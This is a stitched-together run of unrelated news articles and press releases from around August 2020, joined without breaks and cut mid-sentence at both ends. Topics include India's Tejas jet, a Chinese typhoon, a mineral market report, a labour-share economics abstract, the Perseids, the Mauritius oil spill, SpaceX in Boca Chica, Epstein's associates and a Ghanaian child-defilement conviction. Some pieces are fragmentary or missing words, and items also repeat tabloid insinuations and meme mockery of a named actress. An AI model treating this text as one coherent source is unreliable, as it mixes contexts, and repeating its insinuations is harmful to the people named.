foreign engineers are unwilling to come to India. Perhaps there is hardly any other project that can beat the LCA Tejas in terms of cost overruns and mighty delays. It took over 30 years to form the first LCA Tejas squadron but there has always been an element of doubt on the performance of the aircraft. Even as the Hindustan Aeronautics Limited is expecting an order of 83 Tejas Mark 1A variant jets from the Indian Air Force, it is unlikely that the force will forget the astonishingly long wait it patiently endured. In 2017, the force found the earlier version of the LCA Tejas inferior to F-16 and the Swedish Gripen and "complained about parameters such as poor aerial endurance and weapons load and higher maintenance costs". Beyond words Today as the Ministry of Defence continues with its celebration of Atma Nirbhar Bharat Week, it is also time for introspection in finding out the drawbacks which resulted in the failure to "create big opportunities for the Indian defence industry". "Defence industry has always been the forerunner of cutting-edge technologies world across and hence self-reliance in defence is a tall task which needs wholehearted involvement of all to be fruitful," said Defence Minister Singh on Monday. Unless there is no transparency, accountability, realistic synergy between private and public defence entities, ease of doing business for defence-related firms, end of monopoly of defence PSUs, loyalty to deadlines of projects, eradication of red-tapism, self-reliance in defence manufacturing will continue to be a tall order forever. With inputs from PTI Residents in China have been shocked to see a factory buildings exterior being torn down in seconds as Typhoon Mekkhala ravaged their hometown. Footage captures the terrifying moment part of the structure being ripped through and blown away by the strong gales in Fujian province. The tropical storm, with winds of up to 119 kilometres (74 miles) per hour, made landfall in the coastal county of Zhangpu on Tuesday morning, according to local authorities. Residents in China have been shocked to see a factory buildings exterior being torn down in seconds as Typhoon Mekkhala made landfall in Fujian province of southern China today Mekkhala, the sixth typhoon of this year, is expected to continue battering the countrys eastern and southern coastal regions, said China Metrological Administration. Footage shows a factory building in Longhai being torn down in seconds as onlookers watched in shock. Other clips see the tropical storm leaving giant trees uprooted and houses damaged as the strong gales swept through the regions. No casualties have yet been reported due to the adverse weather condition. Authorities have activated an emergency response and issued a yellow alert for Typhoon Mekkhala. China has a four-tier colour-coded weather warning system, with red representing the most severe weather, followed by orange, yellow and blue. Mekkhala, the sixth typhoon of this year, is expected to continue battering the countrys eastern and southern coastal regions, said China Metrological Administration on Tuesday Authorities have urged residents not to travel outdoor until it is for emergency. Some train services and outbound flights have been cancelled in Fujian province, according to state news agency Xinhua. Mekkhala was the second typhoon that landed in coastal areas of eastern China over the past week, reported Chinese media. Last Tuesday, Hagupit, the fourth typhoon of this year, landed in east China's Zhejiang Province, packing winds of up to 136.8 kilometres (85 miles) per hour. Mekkhala, the sixth typhoon of this year, is expected to continue battering the countrys eastern and southern coastal regions, said China Metrological Administration More than 380,000 people had been evacuated before heavy rains and high winds wreaked havoc on the country's eastern coast. This year's typhoon season has been relatively mild in China. However, the country's major river systems have been dealing with what state media called 'catastrophic flooding' since June due to torrential rains. The adverse weather condition has caused scores of deaths, forced around 2million people to be evacuated and led to more than 49billion yuan (5.3billion) in damage. Pune, Aug. 11, 2020 (GLOBE NEWSWIRE) -- The global nepheline syenite market size is expected to reach USD 87.6 million by 2027, exhibiting a CAGR of 1.3% during the forecast period. The surge in ceramic manufacturing is expected to aid the healthy expansion of the market owing to its wide-ranging applications in household, commercial and industrial sectors, states Fortune Business Insights in a report, titled Nepheline Syenite Market Size, Share & COVID-19 Impact Analysis, By Application (Ceramic Manufacturing, Glass Manufacturing, Functional Fillers {Paint & Coatings, Adhesive & Sealants, and Plastic & Rubber}, and Others), and Regional Forecast, 2020-2027 the market size stood at USD 79.7 million in 2019. Browse Summary of this Research Report with Detailed Table of Content: https://www.fortunebusinessinsights.com/enquiry/covid19-impact/nepheline-syenite-market-103434 The coronavirus epidemic has disturbed the supply chain of various industries across the world. We recognize this unsettling health adversity has harmfully impacted various sectors across the globe. Nevertheless, rising support from governments and several companies can help in the fight against this highly infectious virus. There are some industries that are struggling and some are thriving. More or less, nearly every sector is estimated to be impacted by this pandemic. We are making endless efforts to uplift businesses in this crucial need of the hour. Our expertise and experience can offer enormous benefits to help regain during this global pandemic. Get Sample PDF Brochure with Short-Term and Long-Term Impact of COVID-19 on Nepheline Syenite Market, Please Visit: https://www.fortunebusinessinsights.com/enquiry/covid19-impact/nepheline-syenite-market-103434 The report on the nepheline syenite market contains: Outstanding visions about the market Efficient data with detailed research Key industry trends Comprehensive information about giant companies Market Driver: Rising Cognizance about Nephelines Advantages to Boost Market Nepheline syenite reduces the melting temperature while reacting with quartz in a glass furnace, making it rich in alumina. Thus, the growing utilization of this syenite owing to its advantages such as free from crystalline silica, and higher content of potassium and sodium oxide will have a tremendous impact on the market. The rising shift from feldspar to nepheline syenite due to its low quantity consumption will spur opportunities for the market in the forthcoming years. Also, it reduces energy consumption improves the quality of the products, which, in turn, will increase its demand. The low refractive index found in nepheline syenite can be used as transparent filler in paints, coatings, adhesives, sealants, plastics, and rubber products, thus accelerating its usage in the paint and coatings industry. The incorporation of this syenite in coatings offers flatting efficiency, improved pellet flow, optimum particle shape, and easy mixing can further create lucrative business opportunities for the market. Market Restraint: Disruption in Supply chain will Limit Production During COVID-19 The enactment of lockdown in various regions across the globe has destructively curbed the production of nepheline syenite. The disruption in the supply chain due to the new policies implemented by the government will cause severe damage to the market in the near future. The lack of laborers in developed countries can also act as an obstacle to the growth of the market. The halt in glass and ceramic production will simultaneously diminish the demand of the market. Additionally, the postponements in pre-produced orders, lack of capital management, and manufacturing operations will further aggravate the development of the market in the foreseeable future. Speak to Analyst: https://www.fortunebusinessinsights.com/enquiry/speak-to-analyst/nepheline-syenite-market-103434 Regional Analysis Heavy Demand for Quality Glass to Enable Growth in North America The market in North America is expected to grow rapidly during the forecast period owing to the demand for high-quality glass products from various industries. The US is the key importer and consumer of nepheline syenite in the world. The growing adoption of the quality alumina source for glass manufacturing in Canada and the US will enable speedy expansion of the market in the region. Asia Pacific is expected to witness a substantial growth rate during the forecast period due to the rising production of glass and ceramics in China, India, and Southeast Asian countries. China is predicted to hold a major share in the market owing to the high production and consumption of glass and ceramic in the region. Key Development: January 2018: Unimin Corporation, a wholly-owned subsidiary of global industrial minerals company SCR-Sibelco of Belgium announced a multi-million investments to modernize its nepheline facility in Canada. The new development will improve mining & manufacturing operations in the Kawartha Lakes Region and reduce environmental impact. List of the Leading Companies Operating in the Nepheline Syenite Market are: SCR-Sibelco N.V. (Belgium) FINETON Industrial Minerals Limited (China) The 3M Company (USA) PhosAgro Group of Companies (Russia) Anglo Pacific Minerals Ltd. (UK) RUSAL PLC (Russia) Quick Buy Nepheline Syenite Market Research Report: https://www.fortunebusinessinsights.com/checkout-page/103434 Table of Content Introduction Research Scope Market Segmentation Research Methodology Definitions and Assumptions Executive Summary Market Dynamics Market Drivers Market Restraints Market Opportunities Key Market Trends Key Insights Key Emerging Trends Global Production Overview Insights on Regulatory Scenario Trade Flow Analysis Global Nepheline Syenite Market Analysis, Insights and Forecast By Application, 2016-2027 Key Findings / Summary Market Analysis, Insights and Forecast By Application Ceramic Manufacturing Glass Manufacturing Functional Fillers Adhesive & Sealants Paint & Coatings Plastic & Rubber Others TOC Continued!!! Get your Customized Research Report: https://www.fortunebusinessinsights.com/enquiry/customization/nepheline-syenite-market-103434 Have a Look at Related Research Insight: Ceramics Market Size, Share & Industry Analysis, By Type (Traditional, Advanced), By Application (Tiles, Sanitary Wares, Abrasives, Pottery, Bricks & Pipes, Others), By End-Use Industry (Building & Construction, Industrial, Medical, Others) and Regional Forecast, 2019-2026 Ceramic Coatings Market Size, Share & Industry Analysis, By Type (Oxide, Carbide, Nitride, and Others), By Coating Method (Thermal Spray, Physical Vapor Deposition (PVD), Chemical Vapor Deposition (CVD), and Others), By End-Use (Transportation & Automotive, Energy, Aerospace & Defense, Industrial Goods, Healthcare, and Others), and Regional Forecast, 2019-2026 Ceramic Tiles Market Size, Share and Industry Analysis, By Application Area (Floor, Walls, Others), By End-Use (Residential, Non-Residential), and Regional Forecast, 2019-2026 Automotive Ceramics Market Size, Share & COVID-19 Impact Analysis, Types (Zirconia Oxide Ceramics, Alumina Oxide Ceramics, Titanate Oxide Ceramics, Others), By Application (Automotive Engine Parts, Automotive Electronics, Automotive Exhaust Systems, Others), and Regional Forecast, 2020-2027 About Us: Fortune Business Insights offers expert corporate analysis and accurate data, helping organizations of all sizes make timely decisions. We tailor innovative solutions for our clients, assisting them to address challenges distinct to their businesses. Our goal is to empower our clients with holistic market intelligence, giving a granular overview of the market they are operating in. Our reports contain a unique mix of tangible insights and qualitative analysis to help companies achieve sustainable growth. Our team of experienced analysts and consultants use industry-leading research tools and techniques to compile comprehensive market studies, interspersed with relevant data. At Fortune Business Insights, we aim at highlighting the most lucrative growth opportunities for our clients. We, therefore, offer recommendations, making it easier for them to navigate through technological and market-related changes. Our consulting services are designed to help organizations identify hidden opportunities and understand prevailing competitive challenges. Contact Us: Fortune Business Insights Pvt. Ltd. 308, Supreme Headquarters, Survey No. 36, Baner, Pune-Bangalore Highway, Pune - 411045, Maharashtra, India. Phone: US: +1 424 253 0390 UK: +44 2071 939123 APAC: +91 744 740 1245 Email: sales@fortunebusinessinsights.com Fortune Business Insights Linkedin | Twitter | Blogs Read Press Release: https://www.fortunebusinessinsights.com/press-release/global-nepheline-syenite-market-10153 Summary Focus We study the aging demographics of the workforce in the United States. Since 1980, the average age of the workforce has increased and the share of total earnings of older workers has risen significantly. Concurrent with these demographic changes, the share of income paid to workers (labor's share) has declined. We hypothesis that as a worker ages their labor market dynamism declines and the employer has greater labor market power in determining a worker's wage. Further, the greater market power of an employer leads to a gap between a worker's earnings and their productivity which increases as a worker ages. Therefore, as the workforce ages the average gap between earnings and productivity of workers widens which results in a lower share of total income accruing to workers. Contribution The decline in labor's share in the United States, and globally, has raised concerns regarding the distribution of income and its impact on inequality of income and wealth. The extent to which the decline has contributed to income and wealth inequality, as well as whether this decline is a result of underlying changes in technology or market failures, is important in determining if and how policy makers should respond to these changes. To quantify the contribution of aging to the decline in labor's share, we develop a framework to estimate age-specific gaps between the earnings and productivity of a worker. Cross-industry data containing payroll shares and the age-distribution of earnings from the United States from 1987 to 2011 is used to estimate the age-specific gaps. Findings We estimate that workers receive a smaller share of their productivity in earnings as they age, therefore, earnings growth lags productivity and the gap between the two grows over the worker's life. Our estimates imply that the observed increase in earnings accruing to older workers accounts for fifty-nine percent of the post-1980 decline in the labor's share in the United States and fifty-four percent of the post-1975 global decline. Abstract Since 1980, the earnings share of older workers has risen in the United States, simultaneous with a historic decline in labor's share of income. We hypothesize that an aging workforce has contributed to the decline in labor's share. We formalize this hypothesis in an on-the-job search model, in which employers of older workers may have substantial monopsony power due to the decline in labor market dynamism that accompanies age. This manifests as a rising wedge between a worker's earnings and marginal product over the life-cycle. We estimate the age profile of these wedges using cross-industry responses of labor shares to changes in the age-distribution of earnings. We find that a sixty-year-old worker receives half of her marginal product relative to when she was twenty, which, together with recent demographic trends, can account for 59% of the recent decline in the U.S. labor share. Industrial heterogeneity in this age profile is consistent with the monopsony-power mechanism: highly unionized industries exhibit no relationship between age and payroll shares. JEL classification: J11, J31, E25 Keywords: demographics, labor share, earnings distribution, income distribution The Perseid meteor shower, one of the most popular meteor showers of the year, will face some competition from the Moon this year during its peak. The shower will peak with the most number of meteors during the late evening hours of Aug. 11 and early morning hours of Aug. 12which coincides with the last quarter moon phase, or a bright half moon. Even though its not a full moon, it will still have about 52 percent illumination, bringing the expected number of meteors visible down from more than 60 per hour to about 15 to 20 per hour, according to NASA. Once evening falls, expect to see a meteor, or a shooting star, streaking across the sky every few minutes. Hopefully, clear skies will allow for the best viewing of these bright meteors and fireballs. A falling star crosses the night sky over eastern Germany, during the peak in activity of the annual Perseids meteor shower on Aug. 13, 2015. (HENDRIK SCHMIDT/DPA/AFP via Getty Images) The meteor shower is also visible on Aug. 10 and Aug. 13 as well, according to the American Meteor Society. What are the Perseids? The Perseids have presented a scintillating display for 2,000 years, according to NASA. These eye-catching meteors are linked to the Comet Swift-Tuttle, which orbits the sun once every 133 years. That means that every August, Earth passes through the comets debris field. The ice and dust, accumulating over a thousand years, burn up in our atmosphere to create the meteor shower. The Perseids showcase more bright meteors than any other annual meteor shower. The meteors can be traced to the Perseus constellation, from which they get their name, which will climb in the northeastern sky as the evening passes. From our perspective, the meteors all seem to come from a single point called the radiant, but thats because they are moving parallel to each other. When the radiant is highest in the sky, well see the most meteors. But Earthgrazer meteors, which skim Earths atmosphere and showcase long, blazing tails, are visible earlier in the evening when the radiant is low above the horizon. A shooting star can be seen darting through a dramatic night sky during the annual Perseid meteor shower in Spruce Knob, West Virginia, United States. (Bill Ingalls/NASA) The meteors themselves are traveling at 132,000 miles per hour, which creates vivid streaks of light. These tiny stones can reach between 3,000 and 10,000 degrees Fahrenheit (1,649 and 5,538 degrees Celsius) during this shower. The comet itself will come extremely close to Earth in a near miss in 2126. (Thats about 14.2 million miles away, so theres no danger.) How to watch NASA scientists advised that although the shower can be seen any time after 9 p.m. in your area, the best time to spot a flurry of meteors will be during the darkest time of the night, in the early hours before dawn, between 2 a.m. and dawn. The bright moon will rise around midnight, which changes the peak viewing window, according to NASA. But you can still expect to see a meteor streak across the sky about every two minutes. Patience is key. It can take up to 45 minutes for your eyes to adjust to the dark for optimal viewing. The meteors can appear anywhere in the sky, but they look the brightest against the darkest sky, which is straight up. Some meteors only have faint, quick streaks. Others are brighter and can appear to sail across our sky for several seconds, leaving a glowing smoke trail. The best way to view the meteor shower is by sitting in a reclining lawn chair or lying on your back and looking up at the sky with a wide view. No special equipment is needed, but if you want the best view, it helps to be as far from artificial light as possible. If you live in an urban area, you might want to take a drive to avoid city lights, which can make the meteor shower seem faint. Scientists from NASA also said that camping out in the country can triple the amount of visible meteors. And dont forget to grab your camera before you head out. Meteor showers are a great opportunity for time-lapse videos and long-exposure photography, allowing your shots of the night sky to turn into van Gogh-like paintings of this starry spectacle. CNN Wire contributed to this report. A U.S. service member assigned to a Navy/Marine task force in Bahrain has died, officials with U.S. Central Command announced Tuesday. The service member, whose identity, gender and service affiliation were not disclosed, was found dead Aug.11, according to a CENTCOM release. Read next: Former Air Force Major Sentenced to Two Years in Prison for Tricare Fraud The service member was assigned to Naval Amphibious Force, Task Force 51/5th Marine Expeditionary Brigade. "The service member's remains are in the process of being returned to the United States," officials said. "The U.S. Marine Corps and Naval Criminal Investigative Service are investigating the circumstances of the death." The joint Navy-Marine unit is located in Bahrain's capital, Manama, and performs crisis response operations, regional planning and naval concepts advancement, including some shipboard experimentation. Troops currently spend yearlong tours in Bahrain, and the Defense Department recently changed its policy to make all Bahrain tours unaccompanied, meaning that families cannot move with their service member. Service member deaths while stationed in Bahrain are rare; but in 2019, Navy Vice Adm. Scott Stearney, commander of U.S. 5th Fleet, died by suicide while assigned there. And in 2018, a young enlisted sailor, Engineman 2nd Class Austin Williams, was hit and killed by a Saudi driver shortly after beginning his tour in Manama. -- Hope Hodge Seck can be reached at hope.seck@military.com. Follow her on Twitter at @HopeSeck. Related: Senators Demand 'Immediate Action' After Explosive Report on Navy Sex Trafficking Scandal Two Connecticut residents have been fined $,1000 each for failing to fill out a compulsory health form after they returned from areas of the country designated as 'COVID-19 hot spots'. Governor Ned Lamont confirmed Monday that state authorities slapped the two with the penalty after they got back from spending time in Louisiana and Florida respectively. 'Were going to continue to be strict because thats what got us to where we are. Were going to try to hold people accountable,' Lamont told The Hartford Courant. 'I hate to do it but were going to show people were serious about this'. Like neighboring New York, Connecticut was badly affected by the COVID-19 outbreak in March and April, before the curve started to flatten. Governor Ned Lamont (center) confirmed Monday that state authorities have fined two residents $1,000 each after they failed to complete an online health form after they returned from spending time in Louisiana and Florida respectively The state has recorded no new coronavirus cases in the past three days. Back in June, Gov Lamont joined New York Gov Andrew Cuomo and New Jersey Gov Phil Murphy in enacting a travel advisory which ordered travelers to quarantine for two weeks if they arrived from nine states that were determined to be coronavirus hot spots. The advisory has since been expanded to 34 states. States are added if they record 'a new daily positive test rate higher than 10 per 100,000 residents or a 10 percent or higher positivity rate over a seven-day rolling average'. Last month, Gov Lamont additionally signed an executive order allowing the Connecticut Department of Public Health to issue $1,000 fine for travelers or returning residents who do not complete an online travel form. The short form asks questions about the person's trip and details about where they intend to self-isolate. Like neighboring New York, Connecticut was badly effected by the COVID-19 outbreak in March and April, before the curve started to flatten. Medical workers are seen in Stamford back in March Lamont's order additionally allowed the Department to fine people an extra $1,000 if they did not properly quarantine. On Monday, the governor did not disclose the names of the two offenders. However, he did say that they were both reported to authorities by their concerned co-workers. One of the offenders reportedly broke self-isolation, and thus received a $2,000 fine all up. According to Lamont's office, several more returning residents are also under investigation and may be fined. Lamont says the biggest risk of a second wave in the state comes from travelers and returning residents, rather than community transmission. 'Overwhelmingly, people are doing the right thing. For those few of you who arent, please be on notice,' he stated. As of Tuesday, Connecticut has recorded more than 50,500 COVID-19 cases, and upwards of 4,400 deaths. You have permission to edit this article. Edit Close An army of volunteers is scrambling to contain the disastrous oil spill that has devastated miles of Mauritius unspoiled coastline after a Japanese tanker, the MV Wakashio, ran aground off the island nation last week. Thousands of volunteers, including fishermen, students and diving instructors, have been arriving on the coast near the small town of Mahebourg since Friday to lend a hand in the vast clean-up operation. "Me and my friends came here today to lend a hand because of the degradation of our environment, Eldridge Larhubarbe, an environmental management student, told AFP. The entire marine ecology has been affected by the heavy oil spilled from the ship. We are very affected by this problem. As young people, it is our main priority to protect our lagoon in Mahebourg." Volunteers have also been helping to build improvised floating booms, to hold back the oil, filling them with straw, leaves and even human. Guesthouses have offered free accommodation to volunteers and some hair salons have been offering discounts to those donating hair. The Wakashio began leaking oil after hitting a coral reef on July 25. More than 1,000 tonnes of oil have already seeped from the stricken ship, contaminating reefs, mangrove forests and sea life in an unprecedented environmental catastrophe for the country. Now, salvage crews are in a race against time to stop the 2,500 tonnes of oil still on board the ship from spilling into the sea, with authorities warning cracks in the ships hull are worsening and the boar risks breaking apart. Mumbai, Aug 11 : Actress Rhea Chakraborty has been facing the heat after the death of her boyfriend Sushant Singh Rajput. Social media, particularly, has been ruthless, with jokes and memes about the actress flooding cyber space. Sushant's father KK Singh filed an FIR at Rajiv Nagar police station in Patna a few days back, accusing six people, including actress Rhea Chakraborty, for abetment to suicide among other charges. Ever since, netizens have been trolling Rhea for her alleged involvement in Sushant's death. A meme having Rhea's picture with the current viral meme trend of a man named Binod read: "Thank you BINOD tum aa gaye.. Werna ye memers mere peeche he pad gaye the... Rhea." Another had Rhea holding a placard that pertained to claims about the actress practising black magic. The placard says: "For any kind of black magic contact me." One user shared a picture of a matchbox with Rhea's photograph edited on it. The meme read: "Dulhan machis, zindagi main aag laga de." A meme drew a comparison between Mithun Chakraborty and Rhea Chakraborty. It read: "When life gives you Chakraborty make it Mithun not Rhea." Another drew a comparison between Sushant's former girlfriend Ankita Lokhande and Rhea. The post had Ankita's picture on one side, which had the caption: "The girlfriend you want." On Rhea's picture, on th other side, it said: "The girlfriend you get". Sushant was found hanging in his Bandra flat in Mumbai on June 14. Latest updates on Sushant Singh Rajput Death Mystery Elon Musk is planning to build a resort near the SpaceX facility in Texas as part of his goal to turn the small Boca Chica hamlet into a '21st century Spaceport'. The plans were revealed in a job ad posted online at the weekend for a Resort Development Manager whose role will be to 'oversee the development of SpaceX's first resort from inception to completion'. The latest idea from the eccentric entrepreneur comes after he has repeatedly angered local residents in the area, with some likening the noise of rocket launches to living 'in a war zone'. Others have accused SpaceX of trying to bully them out of their homes. News of the resort is also at odds with warnings that residents say the company gave them of 'potential risk to health and safety' ahead of the launch of a rocket prototype. Elon Musk is planning to build a resort near the SpaceX facility in Texas as part of his goal to turn the small Boca Chica Village into a '21st century Spaceport' The successful candidate for the newly-created Resort Development Manager role will be responsible for managing the design, architecture and construction of the space venture's very first resort. They will be based in Brownsville where SpaceX is developing and testing Starship - its rocket that aims to to carry up to 100 people to the Moon and Mars. Musk hopes Starship will one day realize his dream of building a city for humans to live on Mars. The job posting includes the company's lofty goal 'of enabling people to live on other planets' and counts the transformation of Boca Chica Village into a spaceport as part of the process. Applicants should have experience bringing teams and processes from development to production, strong leadership skills and be willing to work long hours and weekends. It is not clear what Musk's vision of a resort will look like or who the target demographic is. The ad indicates the project could be in the very early stages with the resort manager responsible for obtaining necessary permits and determining the cost and schedule. The plans were revealed in a job ad posted online at the weekend for a Resort Development Manager whose role will be to 'oversee the development of SpaceX's first resort from inception to completion' However, the ad suggests Musk is eyeing an upmarket design with experience working for high end brand luxury development detailed as a preferred skill on the job spec. Just a few miles away, South Padre Island is home to several popular resorts popular with Spring Breakers. News of Musk's dream of a resort is likely to fuel yet more outrage among local Boca Chica residents who have grown weary with the billionaire's invasion of the tiny hamlet. SpaceX began buying up homes and land in the area in 2015 to expand his SpaceX empire and build a test site for his Starship program in a takeover that has repeatedly drawn the ire of the local community. Before Musk moved in, Boca Chica was a quiet hamlet of just 35 houses and a tiny chapel and was known to be something of an isolated paradise teeming with wildlife such as blue buntings and coyotes. Now SpaceX has bought up more than half of the homes and turned many of them into workshops, storage sites, and delivery centers. The latest idea from the eccentric entrepreneur comes after he has repeatedly angered local residents in the area, with some likening the noise of rocket launches to being like living 'in a war zone' and others accusing SpaceX of trying to bully them out of their homes. Pictured the SpaceX facility in Texas SpaceX began buying up homes and land in the area in 2015 to expand his SpaceX empire and build a test site for his Starship (pictured) program in a takeover that has repeatedly drawn the ire of the local community In June, residents told DailyMail.com the company was bullying them to leave their homes using threats and aggressive tactics. SpaceX now owns most of the village but the remaining 12 residents said they have no plans going anywhere. They said the company has made several offers to buy their homes well below market value and have been personally visited by the Senior Director of Finance David Finlay who put pressure on them to sell up. One resident even compared the company's behavior to that of the South African apartheid regime which used threats, intimidation and segregation to exploit the poor black majority for the benefit of the wealthy white minority. Before Musk moved in, Boca Chica was a quiet hamlet of just 35 houses and a tiny chapel and was known to be something of an isolated paradise teeming with wildlife such as blue buntings and coyotes Retired social worker Celia Johnson, 76, has lived in the village since 1992 and has rejected every offer SpaceX has made for her two properties so far. She said: 'Elon Musk was born and raised in South Africa and that's where they had apartheid. That's where they had the rich white folks use the minorities to make the money and he's never changed his thinking. He's here simply for the money.' SpaceX has previously said it will pay owners three times the value of their homes if they decide to sell up. Most of the modest properties have a market value of between $40,000 and $60,000 according to county records but residents said they have been offered much less and that SpaceX bases its valuations on similar but abandoned homes. This came after residents last year likened the area to being in 'a war zone' after they were handed 'shocking' warnings of 'potential risk to health and safety' ahead of the launch of a rocket prototype. The committees action came amid heightened tensions between police and many Chicagoans that have been on display during more than two months of protests sparked by the death of George Floyd under the knee of a Minneapolis police officer in late May. On Sunday, police shot a man in the Englewood neighborhood who allegedly had fired on them, touching off clashes with officers. Some downtown businesses were looted early Monday. New Delhi: Union Minister M Venkaiah Naidu made a scathing attack on Congress Vice President Rahul Gandhi on Saturday regarding his earthquake remark, claiming that an earlier quake had decreased his parts strength from 440 to 44 in the Lok Sabha. Asserting that the government has been ready for a debate on the demonetisation decision, Minister of Urban Development said that after a discussion had commenced and several opposition leaders including former Prime Minister Manmohan Singh had spoken, Congress created hurdles and halted the proceedings in the House. Naidu said that Parliament is the best forum to debate and Opposition should hear the government and say what it wants to say there. And if they are still not convinced they can go to people and agitate. "Without even either going to the people, nor allowing people's representatives to be heard in the House, you are obstructing. That is why I say you are committing a contempt of democracy, you are committing a contempt of democracy and contempt of Parliament," Naidu said. Also Read: Watch video | My speech in Lok Sabha will cause earthquake: Rahul Gandhi Referring to Gandhi's remark that if he is allowed to speak there will be an earthquake, Naidu asked what message does the Congress Vice President wants to send. "Simply by verbal threatening, If I speak there will be an earthquake, what example is this? What sort of message do you want to convey to the people, that there will be an earthquake in the Parliament. After an earthquake, Congress came down from 440 to 44," Naidu said. Also Read: Those who were 'epicentre of scams' for 60 years talking of 'Earthquake': BJP's response to Rahul Gandhi He said that the government has been ready for a discussion and it was the Opposition parties who left the debate midway."In Rajya Sabha, after debating for two days, you ran away. Congress leaders Anand Sharma, Pramod Tewari and even Manmohan Singh spoke, then why did you create hurdles midway," he asked. Naidu posed a series of questions, which he said that the Congress should answer."I would like to know from Congress party and its friends, are they in favour of the fight against corruption and black money. Are they in favour or against remonetisation? Are they in favour of digital transfer of money or against? Are they protesting against the policy or its implementation?," he asked. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. Advertisement Laughing and play-fighting in the early-evening sun - these photos could easily be mistaken for holiday snaps of a pair of close friends, perhaps even a couple. But their sunny exterior hides a darker truth. What they actually show are Jeffrey Epstein's two closest confidantes relaxing on his private Caribbean island - otherwise known as 'pedophile island'. It was here that Epstein is believed to have abused scores of young women, allegedly with Maxwell and Brunel by his side, and participating in the abuse. The photos were taken by an island visitor in 2003, at a time when Epstein was at the height of his financial powers and had not yet been publicly accused of sex abuse. Ghislaine Maxwell and Jean-Luc Brunel laugh and play-fight in newly-uncovered photos taken on 'pedophile island' The pair, two of Jeffrey Epstein's closest confidantes, clearly enjoyed each other's company Brunel laughs as he grapples with Maxwell, pictured left, and appears to whisper something in her ear, pictured right The pair take a breather after wrestling with each other on Epstein's private Caribbean island Brunel, despite already facing a slew of sex assault allegations, was the head of prestigious modelling agency MC2, and Maxwell was enjoying the high-life as the financier's 'best friend' and 'aggressive assistant'. It has been alleged in court documents that Brunel once had three 12-year-old girls flown in from France for Epstein to abuse as a sadistic birthday present. Epstein is now dead, found unconscious in his Manhattan jail cell last year at the age of 66 while awaiting trial for sex crimes in what was ruled a suicide. Maxwell, 58, is in jail in Brooklyn, accused of procuring young girls for Epstein to abuse. She is under constant surveillance in case she tries to harm herself before the case can come to trial. Jean-Luc, 74, is believed to be hiding somewhere in South America, having vanished shortly after Epstein died. But there is no hint of their fates in the photographs, which show Maxwell eating dinner from a platter while Jean-Luc smokes a cigarette nearby. A person who witnessed the photos being taken told The Sun: 'Ghislaine and Jean-Luc were very close friends. 'On this occasion, she had just returned from the gym and was eating when Jean-Luc suddenly grabbed her. 'I used to call Ghislaine the Wicked Witch of the West. Shes a bad, bad lady.' The new photographs show Maxwell eating dinner from a platter while Jean-Luc smokes a cigarette nearby Jean-Luc, 74, is believed to be hiding somewhere in South America, having vanished shortly after Epstein died Maxwell, 58, is currently in jail in Brooklyn, accused of procuring young girls for Epstein to abuse She is under constant surveillance in case she tries to harm herself before the case can come to trial The pair both appeared to be in a good mood in the photographs, which were taken in 2003 Jean-Luc, who faces allegations of sex assault separate to Epstein that date back until 1988, was once described as Epstein's closest male friend Epstein bankrolled Jean-Luc's modelling agency, and in return the scout allegedly supplied him with a string of young women to abuse Jean-Luc, who is also facing an investigation in France, strongly denied the claims before vanishing last year, shortly after Epstein died According to La Parisien he has since be traced to South America, though it is unclear exactly where he is hiding According to newly-unsealed court documents in Maxwell's trial, the island was the scene of orgies with young girls who were flown in to take part in the parties. Virginia Roberts, Epstein's main accuser, told lawyers that many young girls - too many to count - participated in sex sessions with both Maxwell and Epstein all over the island. She also alleges that high-profile visitors, including Bill Clinton, came to the island, where he spent time with 'two young girls from New York'. Clinton, who by the time of his alleged visit had left his post as president, denies ever being there. Meanwhile Jean-Luc, who faces allegations of sex assault separate to Epstein that date back until 1988, was once described as Epstein's closest male friend. Epstein bankrolled Jean-Luc's modelling agency, and in return the scout allegedly supplied him with a string of young women to abuse. Jean-Luc, who is also facing an investigation in France, strongly denied the claims before vanishing last year, shortly after Epstein died. According to La Parisien he has since be traced to South America, though it is unclear exactly where he is hiding. It was on Little St James that Epstein is believed to have abused scores of young women, allegedly with Maxwell and Jean-Luc by his side, and participating in the abuse The photos were taken by an island visitor in 2003, at a time when Epstein was at the height of his financial powers and had not yet been publicly accused of sex abuse According to newly-unsealed court documents in Maxwell's trial, the island was the scene of orgies with young girls who were flown in to take part in the parties Maxwell, pictured with Epstein in 2005, is facing up to 35 years in jail if she is found guilty of sex crimes charges and perjury, for allegedly lying under oath in depositions she gave to a previous case Maxwell is facing up to 35 years in jail if she is found guilty of sex crimes charges and perjury, for allegedly lying under oath in depositions she gave to a previous case. She has pleaded not guilty, and her trial is set to take place next year. In the meantime she is being held in Brooklyn's Metropolitan Detention Center, described as one of America's most-troubled prisons by a former warden. Maxwell, daughter of disgraced press baron Robert Maxwell, was being kept on suicide watch for a time but has now been taken off it. However, her lawyers say she is being kept under constant surveillance and is woken every few hours during the night to make sure she doesn't harm herself. Her lawyers have requested that the searches and surveillance be stopped, and that she be be taken out of solitary confinement and placed in with other prisoners. Her legal team say she is only being subjected to the 'onerous' conditions because of what happened to Epstein, and not because of any genuine risk she poses. Copyright 2020 Albuquerque Journal SANTA FE A Wyoming-based software development company that does work in quantum computing wants to locate its corporate research center in Santa Fe, creating 128 new jobs with an average annual salary of $97,000. SavantX Inc., founded five years ago in Jackson, Wyoming, has applied for $500,000 in funding through the states Local Economic Development Act. The city of Santa Fe would serve as the fiscal agent and pitch in $50,000 in funding, while New Mexico would contribute $450,000 over 10 years. The proposal goes before two city panels on Wednesday: the Economic Development Advisory Committee and the City Council, the latter of which will consider publishing notice of a public hearing on Sept. 9. According to city documents, SavantX specializes in artificial intelligence and machine learning. Their software is used to solve complex problems by the nuclear power industry, by transportation hubs, healthcare and the US Department of Defense, the memo says. SavantX also deployed a no-cost Artificial Intelligence-enabled web application to help medical and research professionals search and analyze COVID-19 datasets. The company is headed by Ed Heinbockel, who was named one of the Top 100 Thinkers of Our Time by Newsweek magazine, according to a June news release from the state Economic Development Department. Heinbockel told the Journal at that time that the company had considered locating its corporate research center in Idaho, Oregon and Utah. But Santa Fes proximity to Sandia and Los Alamos national laboratories made it particularly appealing. That was really the driver to get us to Santa Fe, he said. SavantX has already signed a lease for a building at 504 Jose St., in the downtown area. The city memo says that the company will use the funding for lease payments and tenant improvements and an expanded facility within five years. Over the next 10 years, SavantX would generate more than $28 million in net benefits, according to the city. More than $5 million in new revenue would be generated through gross receipts and property taxes and other fees. I only had sex with the victim three times and not five times. This is what a 33-year-old security man told an Accra Circuit Court before he was slapped with a 15-year jail term for defiling the eight-year-old daughter of a policeman. The convict, Samuel Clottey, 